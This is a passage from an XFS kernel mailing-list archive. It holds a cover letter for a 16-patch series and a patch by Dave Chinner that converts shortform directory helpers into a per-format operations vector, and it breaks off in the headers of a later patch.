dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006LQ-I5 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002BU-H9 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 00/16] xfs: patches for 3.13 Date: Mon, 30 Sep 2013 13:06:57 +1000 X-ASG-Orig-Subj: [PATCH 00/16] xfs: patches for 3.13 Message-Id: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510443 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This patch series sits on top of the series I sent earlier this morning for 3.12-rc4. It is made up of two main parts - the first 6 patches continues the process of sanitising the code to make user/kernel space code merges easier. That's all pretty straight forward, simple code movement. The series is the next 9 patches, and they vectorise the differences in encoding and decoding the directory on disk formats. This gets rid of repeated "xfs_sb_version_has..." checks from the paths, and als o removes the other conditional behaviours triggered by magic number matching. Instead, each different directory format we need to support has an ops vector that holds the exact set of functions needed to encode/decode the format appropriately. The patch seis currently introduces v4, v4+dtype and v5 vectors. The last patch in the series is increasing the inode cluster size for v5 filesystems. Comments, testing, and flames all welcome.... Cheers, Dave. From dave@fromorbit.com Sun Sep 29 22:07:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 145407F37 for ; Sun, 29 Sep 2013 22:07:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B1E99304032 for ; Sun, 29 Sep 2013 20:07:27 -0700 (PDT) X-ASG-Debug-ID: 1380510443-04bdf02f2315f0610002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 27EwWdkSUD1VM9eU for ; Sun, 29 Sep 2013 20:07:24 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwGjgeFcwOpeIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Ld-OS for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002C6-Nn for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 08/16] xfs: vectorise remaining shortform dir2 ops Date: Mon, 30 Sep 2013 13:07:05 +1000 X-ASG-Orig-Subj: [PATCH 08/16] xfs: vectorise remaining shortform dir2 ops Message-Id: <1380510433-8353-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510444 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Following from the initial patch to introduce the directory operations vector, convert the rest of the shortform directory operations to use vectored ops rather than superblock feature checks. This further reduces the size of the built binary: text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 792350 96802 1096 890248 d9588 fs/xfs/xfs.o.p2 Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_format.c | 152 ++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_da_format.h | 47 -------------- fs/xfs/xfs_dir2.h | 20 +++--- fs/xfs/xfs_dir2_block.c | 6 +- fs/xfs/xfs_dir2_readdir.c | 6 +- fs/xfs/xfs_dir2_sf.c | 151 +++++++++------------------------------------ 6 files changed, 199 insertions(+), 183 deletions(-) diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c index 982d105..62f55a0 100644 --- a/fs/xfs/xfs_da_format.c +++ b/fs/xfs/xfs_da_format.c @@ -69,17 +69,169 @@ xfs_dir3_sf_nextentry( } +/* + * For filetype enabled shortform directories, the file type field is stored at + * the end of the name. Because it's only a single byte, endian conversion is + * not necessary. For non-filetype enable directories, the type is always + * unknown and we never store the value. + */ +static __uint8_t +xfs_dir2_sfe_get_ftype( + struct xfs_dir2_sf_entry *sfep) +{ + return XFS_DIR3_FT_UNKNOWN; +} + +static void +xfs_dir2_sfe_put_ftype( + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + ASSERT(ftype < XFS_DIR3_FT_MAX); +} + +static __uint8_t +xfs_dir3_sfe_get_ftype( + struct xfs_dir2_sf_entry *sfep) +{ + __uint8_t ftype; + + ftype = sfep->name[sfep->namelen]; + if (ftype >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return ftype; +} + +static void +xfs_dir3_sfe_put_ftype( + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + ASSERT(ftype < XFS_DIR3_FT_MAX); + + sfep->name[sfep->namelen] = ftype; +} + +/* + * Inode numbers in short-form directories can come in two versions, + * either 4 bytes or 8 bytes wide. These helpers deal with the + * two forms transparently by looking at the headers i8count field. + * + * For 64-bit inode number the most significant byte must be zero. + */ +static xfs_ino_t +xfs_dir2_sf_get_ino( + struct xfs_dir2_sf_hdr *hdr, + xfs_dir2_inou_t *from) +{ + if (hdr->i8count) + return get_unaligned_be64(&from->i8.i) & 0x00ffffffffffffffULL; + else + return get_unaligned_be32(&from->i4.i); +} + +static void +xfs_dir2_sf_put_ino( + struct xfs_dir2_sf_hdr *hdr, + xfs_dir2_inou_t *to, + xfs_ino_t ino) +{ + ASSERT((ino & 0xff00000000000000ULL) == 0); + + if (hdr->i8count) + put_unaligned_be64(ino, &to->i8.i); + else + put_unaligned_be32(ino, &to->i4.i); +} + +static xfs_ino_t +xfs_dir2_sf_get_parent_ino( + struct xfs_dir2_sf_hdr *hdr) +{ + return xfs_dir2_sf_get_ino(hdr, &hdr->parent); +} + +static void +xfs_dir2_sf_put_parent_ino( + struct xfs_dir2_sf_hdr *hdr, + xfs_ino_t ino) +{ + xfs_dir2_sf_put_ino(hdr, &hdr->parent, ino); +} + +/* + * In short-form directory entries the inode numbers are stored at variable + * offset behind the entry name. If the entry stores a filetype value, then it + * sits between the name and the inode number. Hence the inode numbers may only + * be accessed through the helpers below. + */ +static xfs_ino_t +xfs_dir2_sfe_get_ino( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return xfs_dir2_sf_get_ino(hdr, + (xfs_dir2_inou_t *)&sfep->name[sfep->namelen]); +} + +static void +xfs_dir2_sfe_put_ino( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + xfs_ino_t ino) +{ + xfs_dir2_sf_put_ino(hdr, + (xfs_dir2_inou_t *)&sfep->name[sfep->namelen], ino); +} + +static xfs_ino_t +xfs_dir3_sfe_get_ino( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return xfs_dir2_sf_get_ino(hdr, + (xfs_dir2_inou_t *)&sfep->name[sfep->namelen + 1]); +} + +static void +xfs_dir3_sfe_put_ino( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + xfs_ino_t ino) +{ + xfs_dir2_sf_put_ino(hdr, + (xfs_dir2_inou_t *)&sfep->name[sfep->namelen + 1], ino); +} + const struct xfs_dir_ops xfs_dir2_ops = { .sf_entsize = xfs_dir2_sf_entsize, .sf_nextentry = xfs_dir2_sf_nextentry, + .sf_get_ftype = xfs_dir2_sfe_get_ftype, + .sf_put_ftype = xfs_dir2_sfe_put_ftype, + .sf_get_ino = xfs_dir2_sfe_get_ino, + .sf_put_ino = xfs_dir2_sfe_put_ino, + .sf_get_parent_ino = xfs_dir2_sf_get_parent_ino, + .sf_put_parent_ino = xfs_dir2_sf_put_parent_ino, }; const struct xfs_dir_ops xfs_dir2_ftype_ops = { .sf_entsize = xfs_dir3_sf_entsize, .sf_nextentry = xfs_dir3_sf_nextentry, + .sf_get_ftype = xfs_dir3_sfe_get_ftype, + .sf_put_ftype = xfs_dir3_sfe_put_ftype, + .sf_get_ino = xfs_dir3_sfe_get_ino, + .sf_put_ino = xfs_dir3_sfe_put_ino, + .sf_get_parent_ino = xfs_dir2_sf_get_parent_ino, + .sf_put_parent_ino = xfs_dir2_sf_put_parent_ino, }; const struct xfs_dir_ops xfs_dir3_ops = { .sf_entsize = xfs_dir3_sf_entsize, .sf_nextentry = xfs_dir3_sf_nextentry, + .sf_get_ftype = xfs_dir3_sfe_get_ftype, + .sf_put_ftype = xfs_dir3_sfe_put_ftype, + .sf_get_ino = xfs_dir3_sfe_get_ino, + .sf_put_ino = xfs_dir3_sfe_put_ino, + .sf_get_parent_ino = xfs_dir2_sf_get_parent_ino, + .sf_put_parent_ino = xfs_dir2_sf_put_parent_ino, }; diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index d54726d..68c2ad5 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -330,53 +330,6 @@ xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) } /* - * in dir3 shortform directories, the file type field is stored at a variable - * offset after the inode number. Because it's only a single byte, endian - * conversion is not necessary. - */ -static inline __uint8_t * -xfs_dir3_sfe_ftypep( - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (__uint8_t *)&sfep->name[sfep->namelen]; -} - -static inline __uint8_t -xfs_dir3_sfe_get_ftype( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - __uint8_t *ftp; - - if (!xfs_sb_version_hasftype(&mp->m_sb)) - return XFS_DIR3_FT_UNKNOWN; - - ftp = xfs_dir3_sfe_ftypep(hdr, sfep); - if (*ftp >= XFS_DIR3_FT_MAX) - return XFS_DIR3_FT_UNKNOWN; - return *ftp; -} - -static inline void -xfs_dir3_sfe_put_ftype( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep, - __uint8_t ftype) -{ - __uint8_t *ftp; - - ASSERT(ftype < XFS_DIR3_FT_MAX); - - if (!xfs_sb_version_hasftype(&mp->m_sb)) - return; - ftp = xfs_dir3_sfe_ftypep(hdr, sfep); - *ftp = ftype; -} - -/* * Data block structures. * * A pure data block looks like the following drawing on disk: diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 1909d9f..0e94b3e 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -39,6 +39,17 @@ struct xfs_dir_ops { struct xfs_dir2_sf_entry * (*sf_nextentry)(struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep); + __uint8_t (*sf_get_ftype)(struct xfs_dir2_sf_entry *sfep); + void (*sf_put_ftype)(struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype); + xfs_ino_t (*sf_get_ino)(struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep); + void (*sf_put_ino)(struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + xfs_ino_t ino); + xfs_ino_t (*sf_get_parent_ino)(struct xfs_dir2_sf_hdr *hdr); + void (*sf_put_parent_ino)(struct xfs_dir2_sf_hdr *hdr, + xfs_ino_t ino); }; extern const struct xfs_dir_ops xfs_dir2_ops; @@ -79,15 +90,6 @@ extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); /* * Interface routines used by userspace utilities */ -extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); -extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, - xfs_ino_t ino); -extern xfs_ino_t xfs_dir3_sfe_get_ino(struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *sfp, struct xfs_dir2_sf_entry *sfep); -extern void xfs_dir3_sfe_put_ino(struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, - xfs_ino_t ino); - extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 9d86b6f..960f3ab 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -1173,7 +1173,7 @@ xfs_dir2_sf_to_block( * Create entry for .. */ dep = xfs_dir3_data_dotdot_entry_p(mp, hdr); - dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); + dep->inumber = cpu_to_be64(dp->d_ops->sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); @@ -1222,10 +1222,10 @@ xfs_dir2_sf_to_block( * Copy a real entry. */ dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); - dep->inumber = cpu_to_be64(xfs_dir3_sfe_get_ino(mp, sfp, sfep)); + dep->inumber = cpu_to_be64(dp->d_ops->sf_get_ino(sfp, sfep)); dep->namelen = sfep->namelen; xfs_dir3_dirent_put_ftype(mp, dep, - xfs_dir3_sfe_get_ftype(mp, sfp, sfep)); + dp->d_ops->sf_get_ftype(sfep)); memcpy(dep->name, sfep->name, dep->namelen); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index 8033305..2d2c8fb 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -136,7 +136,7 @@ xfs_dir2_sf_getdents( * Put .. entry unless we're starting past it. */ if (ctx->pos <= dotdot_offset) { - ino = xfs_dir2_sf_get_parent_ino(sfp); + ino = dp->d_ops->sf_get_parent_ino(sfp); ctx->pos = dotdot_offset & 0x7fffffff; if (!dir_emit(ctx, "..", 2, ino, DT_DIR)) return 0; @@ -157,8 +157,8 @@ xfs_dir2_sf_getdents( continue; } - ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); - filetype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); + ino = dp->d_ops->sf_get_ino(sfp, sfep); + filetype = dp->d_ops->sf_get_ftype(sfep); ctx->pos = off & 0x7fffffff; if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, ino, xfs_dir3_get_dtype(mp, filetype))) diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 73881c9..ec0d39b 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -57,89 +57,6 @@ static void xfs_dir2_sf_toino8(xfs_da_args_t *args); #endif /* XFS_BIG_INUMS */ /* - * Inode numbers in short-form directories can come in two versions, - * either 4 bytes or 8 bytes wide. These helpers deal with the - * two forms transparently by looking at the headers i8count field. - * - * For 64-bit inode number the most significant byte must be zero. - */ -static xfs_ino_t -xfs_dir2_sf_get_ino( - struct xfs_dir2_sf_hdr *hdr, - xfs_dir2_inou_t *from) -{ - if (hdr->i8count) - return get_unaligned_be64(&from->i8.i) & 0x00ffffffffffffffULL; - else - return get_unaligned_be32(&from->i4.i); -} - -static void -xfs_dir2_sf_put_ino( - struct xfs_dir2_sf_hdr *hdr, - xfs_dir2_inou_t *to, - xfs_ino_t ino) -{ - ASSERT((ino & 0xff00000000000000ULL) == 0); - - if (hdr->i8count) - put_unaligned_be64(ino, &to->i8.i); - else - put_unaligned_be32(ino, &to->i4.i); -} - -xfs_ino_t -xfs_dir2_sf_get_parent_ino( - struct xfs_dir2_sf_hdr *hdr) -{ - return xfs_dir2_sf_get_ino(hdr, &hdr->parent); -} - -void -xfs_dir2_sf_put_parent_ino( - struct xfs_dir2_sf_hdr *hdr, - xfs_ino_t ino) -{ - xfs_dir2_sf_put_ino(hdr, &hdr->parent, ino); -} - -/* - * In short-form directory entries the inode numbers are stored at variable - * offset behind the entry name. If the entry stores a filetype value, then it - * sits between the name and the inode number. Hence the inode numbers may only - * be accessed through the helpers below. - */ -static xfs_dir2_inou_t * -xfs_dir3_sfe_inop( - struct xfs_mount *mp, - struct xfs_dir2_sf_entry *sfep) -{ - __uint8_t *ptr = &sfep->name[sfep->namelen]; - if (xfs_sb_version_hasftype(&mp->m_sb)) - ptr++; - return (xfs_dir2_inou_t *)ptr; -} - -xfs_ino_t -xfs_dir3_sfe_get_ino( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return xfs_dir2_sf_get_ino(hdr, xfs_dir3_sfe_inop(mp, sfep)); -} - -void -xfs_dir3_sfe_put_ino( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep, - xfs_ino_t ino) -{ - xfs_dir2_sf_put_ino(hdr, xfs_dir3_sfe_inop(mp, sfep), ino); -} - -/* * Given a block directory (dp/block), calculate its size as a shortform (sf) * directory and a header for the sf directory, if it will fit it the * space currently present in the inode. If it won't fit, the output @@ -226,7 +143,7 @@ xfs_dir2_block_sfsize( */ sfhp->count = count; sfhp->i8count = i8count; - xfs_dir2_sf_put_parent_ino(sfhp, parent); + dp->d_ops->sf_put_parent_ino(sfhp, parent); return size; } @@ -321,7 +238,7 @@ xfs_dir2_block_to_sf( else if (dep->namelen == 2 && dep->name[0] == '.' && dep->name[1] == '.') ASSERT(be64_to_cpu(dep->inumber) == - xfs_dir2_sf_get_parent_ino(sfp)); + dp->d_ops->sf_get_parent_ino(sfp)); /* * Normal entry, copy it into shortform. */ @@ -331,9 +248,9 @@ xfs_dir2_block_to_sf( (xfs_dir2_data_aoff_t) ((char *)dep - (char *)hdr)); memcpy(sfep->name, dep->name, dep->namelen); - xfs_dir3_sfe_put_ino(mp, sfp, sfep, - be64_to_cpu(dep->inumber)); - xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + dp->d_ops->sf_put_ino(sfp, sfep, + be64_to_cpu(dep->inumber)); + dp->d_ops->sf_put_ftype(sfep, xfs_dir3_dirent_get_ftype(mp, dep)); sfep = dp->d_ops->sf_nextentry(sfp, sfep); @@ -496,8 +413,8 @@ xfs_dir2_sf_addname_easy( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); - xfs_dir3_sfe_put_ftype(dp->i_mount, sfp, sfep, args->filetype); + dp->d_ops->sf_put_ino(sfp, sfep, args->inumber); + dp->d_ops->sf_put_ftype(sfep, args->filetype); /* * Update the header and inode. @@ -591,8 +508,8 @@ xfs_dir2_sf_addname_hard( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir3_sfe_put_ino(mp, sfp, sfep, args->inumber); - xfs_dir3_sfe_put_ftype(mp, sfp, sfep, args->filetype); + dp->d_ops->sf_put_ino(sfp, sfep, args->inumber); + dp->d_ops->sf_put_ftype(sfep, args->filetype); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) @@ -713,20 +630,19 @@ xfs_dir2_sf_check( sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; offset = xfs_dir3_data_first_offset(mp); - ino = xfs_dir2_sf_get_parent_ino(sfp); + ino = dp->d_ops->sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { ASSERT(xfs_dir2_sf_get_offset(sfep) >= offset); - ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); + ino = dp->d_ops->sf_get_ino(sfp, sfep); i8count += ino > XFS_DIR2_MAX_SHORT_INUM; offset = xfs_dir2_sf_get_offset(sfep) + xfs_dir3_data_entsize(mp, sfep->namelen); - ASSERT(xfs_dir3_sfe_get_ftype(mp, sfp, sfep) < - XFS_DIR3_FT_MAX); + ASSERT(dp->d_ops->sf_get_ftype(sfep) < XFS_DIR3_FT_MAX); } ASSERT(i8count == sfp->i8count); ASSERT(XFS_BIG_INUMS || i8count == 0); @@ -782,7 +698,7 @@ xfs_dir2_sf_create( /* * Now can put in the inode number, since i8count is set. */ - xfs_dir2_sf_put_parent_ino(sfp, pino); + dp->d_ops->sf_put_parent_ino(sfp, pino); sfp->count = 0; dp->i_d.di_size = size; xfs_dir2_sf_check(args); @@ -837,7 +753,7 @@ xfs_dir2_sf_lookup( */ if (args->namelen == 2 && args->name[0] == '.' && args->name[1] == '.') { - args->inumber = xfs_dir2_sf_get_parent_ino(sfp); + args->inumber = dp->d_ops->sf_get_parent_ino(sfp); args->cmpresult = XFS_CMP_EXACT; args->filetype = XFS_DIR3_FT_DIR; return XFS_ERROR(EEXIST); @@ -857,10 +773,8 @@ xfs_dir2_sf_lookup( sfep->namelen); if (cmp != XFS_CMP_DIFFERENT && cmp != args->cmpresult) { args->cmpresult = cmp; - args->inumber = xfs_dir3_sfe_get_ino(dp->i_mount, - sfp, sfep); - args->filetype = xfs_dir3_sfe_get_ftype(dp->i_mount, - sfp, sfep); + args->inumber = dp->d_ops->sf_get_ino(sfp, sfep); + args->filetype = dp->d_ops->sf_get_ftype(sfep); if (cmp == XFS_CMP_EXACT) return XFS_ERROR(EEXIST); ci_sfep = sfep; @@ -919,7 +833,7 @@ xfs_dir2_sf_removename( i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { - ASSERT(xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep) == + ASSERT(dp->d_ops->sf_get_ino(sfp, sfep) == args->inumber); break; } @@ -1040,10 +954,10 @@ xfs_dir2_sf_replace( if (args->namelen == 2 && args->name[0] == '.' && args->name[1] == '.') { #if XFS_BIG_INUMS || defined(DEBUG) - ino = xfs_dir2_sf_get_parent_ino(sfp); + ino = dp->d_ops->sf_get_parent_ino(sfp); ASSERT(args->inumber != ino); #endif - xfs_dir2_sf_put_parent_ino(sfp, args->inumber); + dp->d_ops->sf_put_parent_ino(sfp, args->inumber); } /* * Normal entry, look for the name. @@ -1054,14 +968,11 @@ xfs_dir2_sf_replace( if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { #if XFS_BIG_INUMS || defined(DEBUG) - ino = xfs_dir3_sfe_get_ino(dp->i_mount, - sfp, sfep); + ino = dp->d_ops->sf_get_ino(sfp, sfep); ASSERT(args->inumber != ino); #endif - xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, - args->inumber); - xfs_dir3_sfe_put_ftype(dp->i_mount, sfp, sfep, - args->filetype); + dp->d_ops->sf_put_ino(sfp, sfep, args->inumber); + dp->d_ops->sf_put_ftype(sfep, args->filetype); break; } } @@ -1164,7 +1075,7 @@ xfs_dir2_sf_toino4( */ sfp->count = oldsfp->count; sfp->i8count = 0; - xfs_dir2_sf_put_parent_ino(sfp, xfs_dir2_sf_get_parent_ino(oldsfp)); + dp->d_ops->sf_put_parent_ino(sfp, dp->d_ops->sf_get_parent_ino(oldsfp)); /* * Copy the entries field by field. */ @@ -1176,10 +1087,9 @@ xfs_dir2_sf_toino4( sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir3_sfe_put_ino(mp, sfp, sfep, - xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep)); - xfs_dir3_sfe_put_ftype(mp, sfp, sfep, - xfs_dir3_sfe_get_ftype(mp, oldsfp, oldsfep)); + dp->d_ops->sf_put_ino(sfp, sfep, + dp->d_ops->sf_get_ino(oldsfp, oldsfep)); + dp->d_ops->sf_put_ftype(sfep, dp->d_ops->sf_get_ftype(oldsfep)); } /* * Clean up the inode. @@ -1243,7 +1153,7 @@ xfs_dir2_sf_toino8( */ sfp->count = oldsfp->count; sfp->i8count = 1; - xfs_dir2_sf_put_parent_ino(sfp, xfs_dir2_sf_get_parent_ino(oldsfp)); + dp->d_ops->sf_put_parent_ino(sfp, dp->d_ops->sf_get_parent_ino(oldsfp)); /* * Copy the entries field by field. */ @@ -1255,10 +1165,9 @@ xfs_dir2_sf_toino8( sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir3_sfe_put_ino(mp, sfp, sfep, - xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep)); - xfs_dir3_sfe_put_ftype(mp, sfp, sfep, - xfs_dir3_sfe_get_ftype(mp, oldsfp, oldsfep)); + dp->d_ops->sf_put_ino(sfp, sfep, + dp->d_ops->sf_get_ino(oldsfp, oldsfep)); + dp->d_ops->sf_put_ftype(sfep, dp->d_ops->sf_get_ftype(oldsfep)); } /* * Clean up the inode. -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 08C6C7F4E for ; Sun, 29 Sep 2013 22:07:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EE8408F8035 for ; Sun, 29 Sep 2013 20:07:28 -0700 (PDT) X-ASG-Debug-ID: 1380510445-04cb6c153d159b0a0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id CSVFFaq5XDAJ3ByA for ; Sun, 29 Sep 2013 20:07:25 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBRoNLzMIGDE5AxsZiAW8Bo4GFIVgA6l4gzYqgSwBHw Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006LT-KV for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002Bh-Jl for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 03/16] xfs: split dquot buffer operations out Date: Mon, 30 Sep 2013 13:07:00 +1000 X-ASG-Orig-Subj: [PATCH 03/16] xfs: split dquot 